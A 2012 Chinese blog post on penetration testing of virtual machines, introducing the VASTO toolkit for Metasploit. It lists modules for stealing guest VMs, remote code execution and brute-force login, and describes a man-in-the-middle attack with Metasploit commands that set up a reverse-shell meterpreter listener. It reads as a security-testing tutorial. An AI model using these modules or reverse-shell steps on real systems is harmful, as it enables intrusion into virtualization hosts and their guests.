qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

针对虚拟机的渗透测试

如今虚拟化在各个企业中应用的越来越多,且火热的云计算也依托于此技术。虚拟化技术确实能够使物理资源的利用更加灵活和便捷,那么虚拟机的安全性如何?相比传统架构,是否像传说中的一样安全?

  什么是虚拟化

  虚拟化是指计算机元件在虚拟的基础上而不是真实的基础上运行。虚拟化技术可以扩大硬件的容量,简化软件的重新配置过程。CPU的虚拟化技术可以单CPU模拟多CPU并行,允许一个平台同时运行多个操作系统,并且应用程序都可以在相互独立的空间内运行而互不影响,从而显著提高计算机的工作效率。我们先来看看虚拟机的层次结构图。

  虚拟机完全独立于其底层物理硬件。 例如,你可以为虚拟机配置与底层硬件上存在的物理组件完全不同的虚拟组件(例如,CPU、网卡、SCSI 控制器)。 同一物理服务器上的各个虚拟机甚至可以运行不同类型的操作系统(WindowsLinux 等)

  针对虚拟机的渗透测试

  VASTO是一个专用的虚拟机渗透测试工具,支持VMware, Oracle和Xen,可以与神器Metasploit有很好的结合。使用前需要先解压,然后复制metasploit文件夹下中

  VASTO的主要模块如下,功能还是比较强大的

  abiquo_guest_stealer – Abiquo guest stealer
  abiquo_poison – Abiquo poison
  eucalyptus_bouncer – Eucalyptus Bouncer
  eucalyptus_poison – Eucalyptus Poison
  oraclevm_oravma_fileread – Oracle VM agent remote code execution
  vmware_autopwner – VMautopwn
  vmware_guest_stealer – VMware Guest Stealer
  vmware_login – VMware Login check scanner
  vmware_session_rider – VMware Session Rider
  vmware_studio_upload – VMware Studio<2.0.0.946-172280 Remote Code Execution
  vmware_updatemanager_traversal – Update manager path traversal
  vmware_version – VMware products fingerprintervmware_vilurker – VIlurker VIclient attack
  vmware_webaccess_portscan – VMware Web Access Relay Port Scanner
  xen_login – Xen Login Check Scanner
  oracle_oravma_exec – Oracle VM agent remote code execution
  vmware_sfcbd_exec - VMware VAMI-sfcbd remote code exec
  vmware_tomcat_killer – VMware tomcat killer
  Versionsscanner Modul:

  用于判断VM的版本等信息



 Login Scanner Modul:

  这个模块可以使用字典尝试暴力登录虚拟机

  vilurker module

  这个模块原理即利用ettercap等进行中间人攻击,欺骗成功后,当被攻击者(client)访问server时会弹出窗体,若点击即反弹一个meterpreter。

  先multi/handler监听

  msf > use multi/handler
  msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
  msf exploit(handler) > set LHOST <Local Host IP here>
  msf exploit(handler) > exploit

  欺骗过程如下

  返回shell(meterpreter)

posted on 2012-12-19 12:14 顺其自然EVO 阅读(478) 评论(0)  编辑  收藏 所属分类: 测试学习专栏


只有注册用户登录后才能发表评论。


网站导航:
 
<2012年12月>
2526272829301
2345678
9101112131415
16171819202122
23242526272829
303112345

导航

统计

常用链接

留言簿(54)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜